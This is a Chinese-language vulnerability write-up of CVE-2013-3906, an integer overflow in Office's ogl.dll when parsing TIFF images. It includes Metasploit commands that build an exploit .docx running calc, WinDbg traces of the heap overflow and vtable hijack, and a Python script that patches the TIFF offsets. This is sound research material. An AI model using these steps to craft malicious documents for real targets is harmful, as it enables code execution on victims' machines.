CVE-2013-3906漏洞分析


CVE-2013-3906漏洞分析_第1张图片

前言

CVE-2013-3906是一个位于ogl.dll内的整数溢出漏洞,这是一个比较经典的整数溢出漏洞,当时是McAfee公司抓到的一个0day。关于这个漏洞还有一些趣闻。

这两天拿这个漏洞练了一下手。下文记录了我对该漏洞的分析过程,侧重于漏洞分析方面,本文对该漏洞用到的堆喷射和利用技巧不做讨论,如需了解这些请阅读本文的参考链接。

需要注意的是,在Windows 7+office 2010环境下ogl.dll并不存在,所以该漏洞不影响这一环境。

调试环境

windows7 x86 + office 2007 sp0(ogl.dll 12.0.4518.1014)

调试样本生成自metasploit

msf > search cve-2013-3906

[!] Module database cache not built yet, using slow search

Matching Modules

================

  Name                                            Disclosure Date  Rank    Description

  ----                                            ---------------  ----    -----------

  exploit/windows/fileformat/mswin_tiff_overflow  2013-11-05      average  MS13-096 Microsoft Tagged Image File Format (TIFF) Integer Overflow

msf > use exploit/windows/fileformat/mswin_tiff_overflow

msf exploit(mswin_tiff_overflow) > show options

Module options (exploit/windows/fileformat/mswin_tiff_overflow):

  Name      Current Setting  Required  Description

  ----      ---------------  --------  -----------

  FILENAME  msf.docx        yes      The docx file

Exploit target:

  Id  Name

  --  ----

  0  Windows XP SP3 with Office Standard 2010

msf exploit(mswin_tiff_overflow) > set payload windows/exec

payload => windows/exec

msf exploit(mswin_tiff_overflow) > show options

Module options (exploit/windows/fileformat/mswin_tiff_overflow):

  Name      Current Setting  Required  Description

  ----      ---------------  --------  -----------

  FILENAME  msf.docx        yes      The docx file

Payload options (windows/exec):

  Name      Current Setting  Required  Description

  ----      ---------------  --------  -----------

  CMD                        yes      The command string to execute

  EXITFUNC  thread          yes      Exit technique (Accepted: '', seh, thread, process, none)

Exploit target:

  Id  Name

  --  ----

  0  Windows XP SP3 with Office Standard 2010

msf exploit(mswin_tiff_overflow) > set CMD calc

CMD => calc

msf exploit(mswin_tiff_overflow) > set EXITFUNC thread

EXITFUNC => thread

msf exploit(mswin_tiff_overflow) > set FILENAME cve-2013-3906-msf.docx_

FILENAME => cve-2013-3906-msf.docx_

msf exploit(mswin_tiff_overflow) > exploit

[*] Initializing files...

[*] Packing directory: word

[*] Packing file: word/webSettings.xml

[*] Packing directory: word/media

[*] Packing directory: word/embeddings

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet6.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet4.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet5.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet1.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet3.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet2.xlsx

[*] Packing directory: word/charts

[*] Packing file: word/charts/chart3.xml

[*] Packing file: word/charts/chart4.xml

[*] Packing directory: word/charts/_rels

[*] Packing file: word/charts/_rels/chart5.xml.rels

[*] Packing file: word/charts/_rels/chart2.xml.rels

[*] Packing file: word/charts/_rels/chart1.xml.rels

[*] Packing file: word/charts/_rels/chart4.xml.rels

[*] Packing file: word/charts/_rels/chart6.xml.rels

[*] Packing file: word/charts/_rels/chart3.xml.rels

[*] Packing file: word/charts/chart2.xml

[*] Packing file: word/charts/chart5.xml

[*] Packing file: word/charts/chart6.xml

[*] Packing file: word/charts/chart1.xml

[*] Packing directory: word/theme

[*] Packing file: word/theme/theme1.xml

[*] Packing file: word/settings.xml

[*] Packing file: word/styles.xml

[*] Packing file: word/fontTable.xml

[*] Packing directory: docProps

[*] Packing file: docProps/app.xml

[*] Packing file: docProps/core.xml

[*] Packing directory: _rels

[*] Packing ActiveX controls...

[*] Packing file: [Content_Types].xml

[*] Packing file: /word/media/image1.jpeg

[*] Packing file: /word/document.xml

[*] Packing file: _rels/.rels

[*] Packing file: /word/_rels/document.xml.rels

[+] cve-2013-3906-msf.docx_ stored at /root/.msf4/local/cve-2013-3906-msf.docx_

msf exploit(mswin_tiff_overflow) > exploit

首先用windbg挂上winword.exe,打开样本,发生崩溃,崩溃现场如下:

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=08080808 ebx=001b08c0 ecx=0f5edcf8 edx=00000000 esi=0f5edcf8 edi=001b072c

eip=67bce176 esp=001b0630 ebp=001b0644 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00210202

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL -

OGL!GdipClonePath+0x2a:

67bce176 ff5004          call    dword ptr [eax+4]    ds:0023:0808080c=????????

0:000> k 100

ChildEBP RetAddr 

WARNING: Stack unwind information not available. Following frames may be wrong.

001b0644 6a04288e OGL!GdipClonePath+0x2a

001b0704 6a0b18ed oart!Ordinal1954+0x30e

001b073c 6a0b18bb oart!Ordinal2469+0x4c9

001b0750 6a0b3e40 oart!Ordinal2469+0x497

001b0790 6a07e16f oart!Ordinal725+0x2c

001b07c0 6a0b4590 oart!Ordinal2472+0x131

001b07f0 6a0b3da4 oart!Ordinal6123+0x2cb

001b0804 6a7948b5 oart!Ordinal533+0xa4

001b0854 6a07e092 oart!Ordinal1031+0x724

001b0924 6a07d802 oart!Ordinal2472+0x54

001b0b78 6a07d2e6 oart!Ordinal2552+0x1b2

001b0bc8 6a07be02 oart!Ordinal5854+0xd3

001b0c04 6a07bd8a oart!Ordinal2803+0x23

001b0c10 6356cfc9 oart!Ordinal292+0x30c

001b0d48 63567985 wwlib!DllGetClassObject+0x10837f

...

这明显是虚表被覆盖了,在IDA中定位到相关代码点如下:

CVE-2013-3906漏洞分析_第2张图片

崩溃点位于GdipClonePath函数,我们可以看到这是一处虚函数调用,正常情况下esi应该是一个对象地址,对红框处的call语句下断点:

sxe ld ogl

bp ogl+e176

发现这个函数会被命中很多次,我们在每次命中断点时看一下eax的值,eax为虚表地址:

0:000> bp ogl+e176 ".printf \"eax=0x%p\\n\", eax; g;"

0:000> g

eax=0x676cab68

...

eax=0x676cab68

eax=0x08080808

Thu Apr 12 17:02:31.953 2018 (GMT+8): (bbc.968): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=08080808 ebx=00220640 ecx=0dd1dcf8 edx=00000000 esi=0dd1dcf8 edi=002204ac

eip=6768e176 esp=002203b0 ebp=002203c4 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00210202

OGL!GdipClonePath+0x2a:

6768e176 ff5004          call    dword ptr [eax+4]    ds:0023:0808080c=????????

可以看到直到崩溃发生前的虚表地址都是一个固定值,我们看一下这个虚表内函数指针:

text:0004AB68 off_4AB68      dd offset sub_C95E      ; DATA XREF: sub_39E9+Do

.text:0004AB68                                        ; sub_E6DC+12o ...

.text:0004AB6C                dd offset sub_476B

.text:0004AB70                dd offset sub_15858B

.text:0004AB74                dd offset sub_162868

.text:0004AB78                dd offset sub_1627B1

.text:0004AB7C                dd offset sub_12E4BE

.text:0004AB80                dd offset sub_3C837

.text:0004AB84                dd offset unknown_libname_2 ; Microsoft VisualC 2-11/net runtime

.text:0004AB88                dd offset sub_6163

.text:0004AB8C                dd offset sub_7B44

.text:0004AB90                dd offset sub_72C93

.text:0004AB94                dd offset sub_206AD

.text:0004AB98                dd offset sub_203A1

.text:0004AB9C                dd offset sub_ABE4

.text:0004ABA0                dd offset sub_1E480

.text:0004ABA4                dd offset sub_14BEFD

.text:0004ABA8                dd offset sub_14BE97

.text:0004ABAC                dd offset sub_145EB1

.text:0004ABB0                dd offset sub_14645A

.text:0004ABB4                dd offset sub_1DF2D

.text:0004ABB8                dd offset sub_45AF

.text:0004ABBC                dd offset sub_11A522

上文崩溃处调用的是虚表的第二个函数sub_476B,我们看一下这个函数:

CVE-2013-3906漏洞分析_第3张图片

这个函数的作用是比较当前对象的第一个成员变量是否等于“htP1”,这是在对该对象的tag进行校验。

我们再来看一下对象地址(esi)每次的情况:

0:000> bp ogl+e176 ".printf \"esi=0x%p\\n\", esi; g;"

0:000> g

esi=0x0f5b23a8

esi=0x0f5b23a8

esi=0x0f5b23a8

esi=0x0f5b23a8

esi=0x0f5b8470

esi=0x0f5b86e0

esi=0x0f5b8950

...

esi=0x0f5baa88

esi=0x0c99b638

esi=0x0c99aee8

esi=0x0c99bca0

esi=0x0c99cdb0

esi=0x0c99dcf8

Fri Apr 13 11:06:03.278 2018 (GMT+8): (a2c.b78): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=08080808 ebx=002e0b10 ecx=0c99dcf8 edx=00000000 esi=0c99dcf8 edi=002e097c

eip=6741e176 esp=002e0880 ebp=002e0894 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00210202

OGL!GdipClonePath+0x2a:

6741e176 ff5004          call    dword ptr [eax+4]    ds:0023:0808080c=????????


可以看到对象地址是在发生变化的,不同地址代表每次传递给GdipClonePath函数的同一对象的不同实例,我们来看一下最后一个对象的内存情况:

0:000> !address 0x0c99dcf8

ProcessParametrs 000a13a8 in range 000a0000 001a0000

Environment 000dc830 in range 000a0000 001a0000

  0c990000 : 0c990000 - 00051000

                  Type    00020000 MEM_PRIVATE

                  Protect  00000004 PAGE_READWRITE

                  State    00001000 MEM_COMMIT

                  Usage    RegionUsageHeap

                  Handle  0f5b0000

0:000> dd 0x0c99dcf8

0c99dcf8  08080808 08080808 08080808 08080808

0c99dd08  08080808 08080808 08080808 08080808

0c99dd18  08080808 08080808 08080808 08080808

0c99dd28  08080808 08080808 08080808 08080808

0c99dd38  08080808 08080808 08080808 08080808

0c99dd48  08080808 08080808 08080808 08080808

0c99dd58  08080808 08080808 08080808 08080808

0c99dd68  08080808 08080808 08080808 08080808

可以看到对象位于堆中,而且数据都被覆盖为了0x08080808,很明显堆被破坏了。开启页堆,看一下堆是在什么时候被破坏的:

C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe /p /enable winword.exe /full

...

Thu Apr 12 11:03:20.506 2018 (GMT+8): (f80.bd0): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=2a66dffc ebx=00000001 ecx=00000521 edx=00000000 esi=2a66cb78 edi=2a670000

eip=6d9d500a esp=001a0738 ebp=001a0740 iopl=0        nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00210212

MSVCR80!memcpy+0x5a:

6d9d500a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

0:000> k 100

ChildEBP RetAddr 

001a0740 69bb57e6 MSVCR80!memcpy+0x5a

WARNING: Stack unwind information not available. Following frames may be wrong.

001a075c 69b86470 OGL!GdipConvertToEmfPlusToStream+0x14b09

001a077c 69b9f761 OGL!GdipCreateTextureIAI+0x13af9

001a0798 69bdaa48 OGL!GdipMeasureCharacterRanges+0xb3f4

001a07ac 69b6ec13 OGL!GdipGetCellAscent+0x1cca7

001a07c8 69bd980c OGL!GdipEmfToWmfBits+0x140e6

001a07e4 69b07e44 OGL!GdipGetCellAscent+0x1ba6b

001a0864 69b07d2b OGL!GdipGetPointCount+0x1cc

001a0880 69b07b8a OGL!GdipGetPointCount+0xb3

001a0890 69b07aa8 OGL!GdipClosePathFigure+0x28a

001a08ac 69b0742a OGL!GdipClosePathFigure+0x1a8

001a08b8 69b0734e OGL!GdipAddPathLineI+0xc5a

001a08c8 69b03932 OGL!GdipAddPathLineI+0xb7e

001a08dc 6a096a21 OGL!GdipLoadImageFromStreamICM+0x4a

001a090c 6a0967bc oart!Ordinal2867+0x6bc

001a093c 6a095454 oart!Ordinal2867+0x457

001a0998 6a0952fe oart!Ordinal348+0x1e3

001a09dc 6a0952aa oart!Ordinal348+0x8d

001a0a10 6a0a0fea oart!Ordinal348+0x39

001a0a54 6a0a0c72 oart!Ordinal3368+0xd9

...

0:000> !heap -p -a edi

  address 2a670000 found in

  _DPH_HEAP_ROOT @ 24411000

  in busy allocation (  DPH_HEAP_BLOCK:        UserAddr        UserSize -        VirtAddr        VirtSize)

                              2ab00068:        2a670000                0 -        2a66f000            2000

ReadMemory error for address 2a670000

  6dce8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229

  77805ede ntdll!RtlDebugAllocateHeap+0x00000030

  777ca40a ntdll!RtlpAllocateHeap+0x000000c4

  77795ae0 ntdll!RtlAllocateHeap+0x0000023a

  69b0246c OGL!GdiplusStartup+0x000009c7

  69bb57a8 OGL!GdipConvertToEmfPlusToStream+0x00014acb

  69b86470 OGL!GdipCreateTextureIAI+0x00013af9

  69b9f761 OGL!GdipMeasureCharacterRanges+0x0000b3f4

  69bdaa48 OGL!GdipGetCellAscent+0x0001cca7

  69b6ec13 OGL!GdipEmfToWmfBits+0x000140e6

  69bd980c OGL!GdipGetCellAscent+0x0001ba6b

  69b07e44 OGL!GdipGetPointCount+0x000001cc

  69b07d2b OGL!GdipGetPointCount+0x000000b3

  69b07b8a OGL!GdipClosePathFigure+0x0000028a

  69b07aa8 OGL!GdipClosePathFigure+0x000001a8

  69b0742a OGL!GdipAddPathLineI+0x00000c5a

  69b0734e OGL!GdipAddPathLineI+0x00000b7e

  69b03932 OGL!GdipLoadImageFromStreamICM+0x0000004a

  6a096a21 oart!Ordinal2867+0x000006bc

  6a0967bc oart!Ordinal2867+0x00000457

  6a095454 oart!Ordinal348+0x000001e3

  6a0952fe oart!Ordinal348+0x0000008d

  6a0952aa oart!Ordinal348+0x00000039

  6a0a0fea oart!Ordinal3368+0x000000d9

  6a0a0c72 oart!Ordinal2671+0x000001e4

  6a0a0425 oart!Ordinal759+0x00000116

  6a84be79 oart!Ordinal3459+0x00000065

  6a8c33ea oart!Ordinal2061+0x0000011e

  6a097567 oart!Ordinal61+0x00000056

  6a0adaaf oart!Ordinal1794+0x00000014

  6a8cfa2c oart!Ordinal4418+0x000003d5

  6a8cf076 oart!Ordinal6112+0x00000112

0:000> !heap -p -a esi

  address 2a66cb78 found in

  _DPH_HEAP_ROOT @ 24411000

  in busy allocation (  DPH_HEAP_BLOCK:        UserAddr        UserSize -        VirtAddr        VirtSize)

                              2ab0009c:        2a66cb78            1484 -        2a66c000            3000

  6dce8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229

  77805ede ntdll!RtlDebugAllocateHeap+0x00000030

  777ca40a ntdll!RtlpAllocateHeap+0x000000c4

  77795ae0 ntdll!RtlAllocateHeap+0x0000023a

  69b0246c OGL!GdiplusStartup+0x000009c7

  69b8653b OGL!GdipCreateTextureIAI+0x00013bc4

  69b9f761 OGL!GdipMeasureCharacterRanges+0x0000b3f4

  69bdaa48 OGL!GdipGetCellAscent+0x0001cca7

  69b6ec13 OGL!GdipEmfToWmfBits+0x000140e6

  69bd980c OGL!GdipGetCellAscent+0x0001ba6b

  69b07e44 OGL!GdipGetPointCount+0x000001cc

  69b07d2b OGL!GdipGetPointCount+0x000000b3

  69b07b8a OGL!GdipClosePathFigure+0x0000028a

  69b07aa8 OGL!GdipClosePathFigure+0x000001a8

  69b0742a OGL!GdipAddPathLineI+0x00000c5a

  69b0734e OGL!GdipAddPathLineI+0x00000b7e

  69b03932 OGL!GdipLoadImageFromStreamICM+0x0000004a

  6a096a21 oart!Ordinal2867+0x000006bc

  6a0967bc oart!Ordinal2867+0x00000457

  6a095454 oart!Ordinal348+0x000001e3

  6a0952fe oart!Ordinal348+0x0000008d

  6a0952aa oart!Ordinal348+0x00000039

  6a0a0fea oart!Ordinal3368+0x000000d9

  6a0a0c72 oart!Ordinal2671+0x000001e4

  6a0a0425 oart!Ordinal759+0x00000116

  6a84be79 oart!Ordinal3459+0x00000065

  6a8c33ea oart!Ordinal2061+0x0000011e

  6a097567 oart!Ordinal61+0x00000056

  6a0adaaf oart!Ordinal1794+0x00000014

  6a8cfa2c oart!Ordinal4418+0x000003d5

  6a8cf076 oart!Ordinal6112+0x00000112

  6a0a8d11 oart!Ordinal5410+0x00000075

可以看到堆破坏时有一片大小为0x1484的数据被拷贝到一块大小为0x0的堆空间处,从而发生了堆破坏,通过栈回溯可以看到拷贝发生在sub_B576D函数内:

CVE-2013-3906漏洞分析_第4张图片

我们在将拷贝发生处所在的函数( sub_B576D)命名为cve_2013_3906_func,在反汇编视图下可以更清晰地看到这一过程:

CVE-2013-3906漏洞分析_第5张图片

可以看到拷贝的源地址和拷贝大小是作为参数传入 cve_2013_3906_func 函数的,拷贝的目的地址为通过一个公式的计算结果而申请的一片堆空间,从上面的调试结果已经知道目的地址的空间大小为0,怀疑上图红框对应的公式在计算AllocLen时发生了整数溢出,我们在在调试器中验证一下:

对cve_2013_3906_func函数首部下断点:

bp ogl+b576d

可以看到在公式第一部分的循环累加中,循环大小(esi)为0x44,第1个累加值为0xffffb898

CVE-2013-3906漏洞分析_第6张图片

我们对第0x2-0x44次的累加值进行输出:

0:000> bp 67c6578d ".printf \"value=0x%p\\n\", poi(edx); g;"

0:000> g

value=0x000000b2

value=0x000000b2

value=0x000000b3

value=0x000000b3

value=0x000000b2

value=0x000000b1

value=0x000000b1

value=0x000000b1

value=0x000000b2

value=0x000000b2

value=0x000000b2

value=0x000000b3

value=0x000000b2

value=0x000000b2

value=0x000000b2

value=0x000000db

value=0x000000b0

value=0x000000b2

value=0x000000b2

value=0x000000bd

value=0x000000e0

value=0x000000e4

value=0x000000e9

value=0x000000fc

value=0x00000102

value=0x000000fb

value=0x000000f0

value=0x000000ef

value=0x00000102

value=0x0000010a

value=0x000000ff

value=0x000000f7

value=0x000000f9

value=0x000000fa

value=0x000000d8

value=0x000000dc

value=0x000000dd

value=0x000000cb

value=0x000000c8

value=0x000000c5

value=0x000000bb

value=0x000000c0

value=0x000000c2

value=0x000000c5

value=0x000000c6

value=0x000000bf

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x00000080

Fri Apr 13 11:48:38.297 2018 (GMT+8): Breakpoint 1 hit

eax=ffffeaec ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00000000 edi=0c8aea50

eip=67c65793 esp=00260378 ebp=0026037c iopl=0        nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200246

OGL!GdipConvertToEmfPlusToStream+0x14ab6:

67c65793 8b750c          mov    esi,dword ptr [ebp+0Ch] ss:0023:00260388=00001484

可以看到此时的累加结果(eax)为0xffffeaec

CVE-2013-3906漏洞分析_第7张图片

执行完后面的三句后,累加结果分别如下:

0:000> p

eax=ffffeaec ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50

eip=67c65796 esp=00260378 ebp=0026037c iopl=0        nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200246

OGL!GdipConvertToEmfPlusToStream+0x14ab9:

67c65796 8d444808        lea    eax,[eax+ecx*2+8]

0:000> p

eax=ffffeb7c ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50

eip=67c6579a esp=00260378 ebp=0026037c iopl=0        nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200246

OGL!GdipConvertToEmfPlusToStream+0x14abd:

67c6579a 03c6            add    eax,esi

0:000> p

eax=00000000 ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50

eip=67c6579c esp=00260378 ebp=0026037c iopl=0        nv up ei pl zr ac pe cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200257

OGL!GdipConvertToEmfPlusToStream+0x14abf:

67c6579c 50              push    eax

随后调用堆内存申请函数时传入的参数如下:

0:000> p

eax=00000000 ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50

eip=67bb2466 esp=00260360 ebp=0026036c iopl=0        nv up ei pl zr ac pe cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200257

OGL!GdiplusStartup+0x9c1:

67bb2466 ff153011bb67    call    dword ptr [OGL+0x1130 (67bb1130)] ds:0023:67bb1130={ntdll!RtlAllocateHeap (77792dd6)}

0:000> dd esp l3

00260360  0c8a0000 00000000 00000000

NTSYSAPI PVOID RtlAllocateHeap(

  PVOID HeapHandle, // 0c8a0000  ULONG Flags,      // 00000000  SIZE_T Size      // 00000000 申请大小为0);

申请完后返回的结果为0d12d9f8,如下:

0:000> p

eax=0d12d9f8 ebx=00000004 ecx=77792fe7 edx=0d120048 esi=00001484 edi=0c8aea50

eip=67bb246c esp=0026036c ebp=0026036c iopl=0        nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200246

OGL!GdiplusStartup+0x9c7:

67bb246c 5d              pop    ebp

随后调用memcpy

0:000> t

eax=00000001 ebx=00000001 ecx=67cc1b4f edx=0c8a0174 esi=0d12d9f8 edi=0c8aea50

eip=67bb2c9b esp=00260364 ebp=0026037c iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200202

OGL!GdiplusStartup+0x11f6:

67bb2c9b ff251410bb67    jmp    dword ptr [OGL+0x1014 (67bb1014)] ds:0023:67bb1014={MSVCR80!memcpy (6d9d4fb0)}

0:000> dd esp l4

00260364  67c657e6 0d12d9f8 0d15ad60 00001484

void *memcpy(

  void *dest,      // 0d12d9f8  const void *src,  // 0d15ad60  size_t n          // 00001484);

对目的地址的内存范围进行查看,大致可以看到有三种对象,其中虚表为0x676cab68的对象有5个,我们需要确定后面虚表调用处用到的是哪一个:

0:000> dds 0d12d9f8 l1484/4

0d12d9f8  00000024

0d12d9fc  3f800000

0d12da00  13055c85

0d12da04  80000000

0d12da08  00000026

...

0d12dcf8  67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12dcfc  68745031*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Common Files\Microsoft Shared\office12\2052\MSOINTL.DLL

MSOINTL+0x665031

...

0d12df68  67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12df6c  68745031 MSOINTL+0x665031

...

0d12e928  67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12e92c  68745031 MSOINTL+0x665031

...

0d12eb98  67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12eb9c  68745031 MSOINTL+0x665031

...

0d12ee08  67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12ee0c  68745031 MSOINTL+0x665031

...

在我的调试环境中这几个内存位置分别位于距目的地址起始处 0x300,0x570,0xF30,0x11a0,0x1410 处。在盲测的情况下,可以先对前4个地址下内存访问断点(因为硬件断点最多只能下4个),如果未命中,再重启windbg对第5个地址下内存访问断点(如果已经定位到畸形数据位于tiff图片中,也可以修改相应偏移处的覆盖数据),一个修改的脚本如下所示:

计算在tiff文件中的偏移:

3544+300=0x3844

3544+570=0x3AB4

3544+F30=0x4474

3544+11a0=0x46e4

3544+1410=0x4954

Python脚本

tiff_origin_path = "image1.jpeg"

tiff_new_path = "image1.jpeg_new"

with open(tiff_origin_path, "rb") as f_read:

  data = f_read.read()

new_data = data[:0x3844]  + "\x11\x11\x11\x11" \

  + data[0x3848:0x3AB4] + "\x22\x22\x22\x22" \

  + data[0x3AB8:0x4474] + "\x33\x33\x33\x33" \

  + data[0x4478:0x46e4] + "\x44\x44\x44\x44" \

  + data[0x46e8:0x4954] + "\x55\x55\x55\x55" \

  + data[0x4958:]

with open(tiff_new_path, "wb") as w_read:

  w_read.write(new_data)

然后对docx中的相应文件进行替换即可

从下面的测试日志可以看到,在我的环境中被覆盖的虚表是第1个,即AllocAddr偏移为0x300处的位置

0:000> g

Thu Apr 12 18:28:06.670 2018 (GMT+8): (dbc.a10): C++ EH exception - code e06d7363 (first chance)

Thu Apr 12 18:28:06.670 2018 (GMT+8): (dbc.a10): C++ EH exception - code e06d7363 (first chance)

Thu Apr 12 18:28:06.685 2018 (GMT+8): (dbc.a10): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=11111111 ebx=001d07f0 ecx=0ec3dcf8 edx=00000000 esi=0ec3dcf8 edi=001d065c

eip=6702e176 esp=001d0560 ebp=001d0574 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00210202

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL -

OGL!GdipClonePath+0x2a:

6702e176 ff5004          call    dword ptr [eax+4]    ds:0023:11111115=????????

同时,在开启页堆的情况下我们可以获知该类对象的大小为0x130:

0:000> !heap -p -a esi

  address 23a37ed0 found in

  _DPH_HEAP_ROOT @ 239f1000

  in busy allocation (  DPH_HEAP_BLOCK:        UserAddr        UserSize -        VirtAddr        VirtSize)

                              239f18b8:        23a37ed0              130 -        23a37000            2000

        ? OGL!GdipSetStringFormatDigitSubstitution+129d

  6c308e89 verifier!AVrfDebugPageHeapAllocate+0x00000229

  77805ede ntdll!RtlDebugAllocateHeap+0x00000030

  777ca40a ntdll!RtlpAllocateHeap+0x000000c4

  77795ae0 ntdll!RtlAllocateHeap+0x0000023a

  6768246c OGL!GdiplusStartup+0x000009c7

  6768384b OGL!GdipCreatePath+0x0000025c

  6a040e84 oart!Ordinal1063+0x00000054

  6a086e60 oart!Ordinal653+0x00000028

  6a086b4f oart!Ordinal4484+0x00000306

  6a086908 oart!Ordinal4484+0x000000bf

  6a079f7c oart!Ordinal3230+0x0000022b

  6a0783fe oart!Ordinal2668+0x0000021c

  6a07821e oart!Ordinal2668+0x0000003c

  6a0b4850 oart!Ordinal2660+0x00000080

  6a7b67c0 oart!Ordinal5850+0x00000f9c

  6a7b667c oart!Ordinal5850+0x00000e58

  6a06757d oart!Ordinal3404+0x000002a5

  6a0673eb oart!Ordinal3404+0x00000113

  6a0672cb oart!Ordinal6309+0x0000000e

  6356cfc9 wwlib!DllGetClassObject+0x0010837f

  63567985 wwlib!DllGetClassObject+0x00102d3b

  635296b9 wwlib!DllGetClassObject+0x000c4a6f

  6352571b wwlib!DllGetClassObject+0x000c0ad1

  635256b1 wwlib!DllGetClassObject+0x000c0a67

  63525395 wwlib!DllGetClassObject+0x000c074b

  634f64cb wwlib!DllGetClassObject+0x00091881

  634f267c wwlib!DllGetClassObject+0x0008da32

  634f0c32 wwlib!DllGetClassObject+0x0008bfe8

  634be786 wwlib!DllGetClassObject+0x00059b3c

  634bb168 wwlib!DllGetClassObject+0x0005651e

  634c00cb wwlib!DllGetClassObject+0x0005b481

  634bf54e wwlib!DllGetClassObject+0x0005a904

拷贝前

0:000> ? 0d12d9f8+0x300

Evaluate expression: 219340024 = 0d12dcf8

0:000> dc 0d12dcf8 l130/4

0d12dcf8  67bfab68 68745031 00000000 00000000  h..g1Pth........

0d12dd08  0d12dd1c 0d12dd1c 00000010 00000010  ................

0d12dd18  00000004 81010100 00000000 3f800000  ...............?

0d12dd28  00000000 0d12dd40 0d12dd40 00000010  ....@...@.......

0d12dd38  00000010 00000004 498b86c0 49ca5030  ...........I0P.I

0d12dd48  49902d60 49ca5030 49902d60 49d02078  `-.I0P.I`-.Ix .I

0d12dd58  498b86c0 49d02078 00000000 00000000  ...Ix .I........

0d12dd68  00000000 00000000 00000000 00000000  ................

0d12dd78  00000000 00000000 00000000 00000000  ................

0d12dd88  00000000 00000000 00000000 00000000  ................

0d12dd98  00000000 00000000 00000000 00000000  ................

0d12dda8  00000000 00000000 00000000 00000000  ................

0d12ddb8  00000000 00000000 00000000 00000000  ................

0d12ddc8  00000000 00000001 00000001 ffffffff  ................

0d12ddd8  00000000 00000000 00000000 00000000  ................

0d12dde8  00000000 00000000 0d12de04 0d12de04  ................

0d12ddf8  00000003 00000003 00000000 00000000  ................

0d12de08  00000000 00000000 00000000 ffffffff  ................

0d12de18  ff00ffff 00000000 00000000 00000000  ................

拷贝后

0:000> ? 0d12d9f8+0x300

Evaluate expression: 219340024 = 0d12dcf8

0:000> dc 0d12dcf8 l130/4

0d12dcf8  67bfab68 68745031 00000000 00000000  h..g1Pth........

0d12dd08  0d12dd1c 0d12dd1c 00000010 00000010  ................

0d12dd18  00000004 81010100 00000000 3f800000  ...............?

0d12dd28  00000000 0d12dd40 0d12dd40 00000010  ....@...@.......

0d12dd38  00000010 00000004 498b86c0 49ca5030  ...........I0P.I

0d12dd48  49902d60 49ca5030 49902d60 49d02078  `-.I0P.I`-.Ix .I

0d12dd58  498b86c0 49d02078 00000000 00000000  ...Ix .I........

0d12dd68  00000000 00000000 00000000 00000000  ................

0d12dd78  00000000 00000000 00000000 00000000  ................

0d12dd88  00000000 00000000 00000000 00000000  ................

0d12dd98  00000000 00000000 00000000 00000000  ................

0d12dda8  00000000 00000000 00000000 00000000  ................

0d12ddb8  00000000 00000000 00000000 00000000  ................

0d12ddc8  00000000 00000001 00000001 ffffffff  ................

0d12ddd8  00000000 00000000 00000000 00000000  ................

0d12dde8  00000000 00000000 0d12de04 0d12de04  ................

0d12ddf8  00000003 00000003 00000000 00000000  ................

0d12de08  00000000 00000000 00000000 ffffffff  ................

0d12de18  ff00ffff 00000000 00000000 00000000  ................

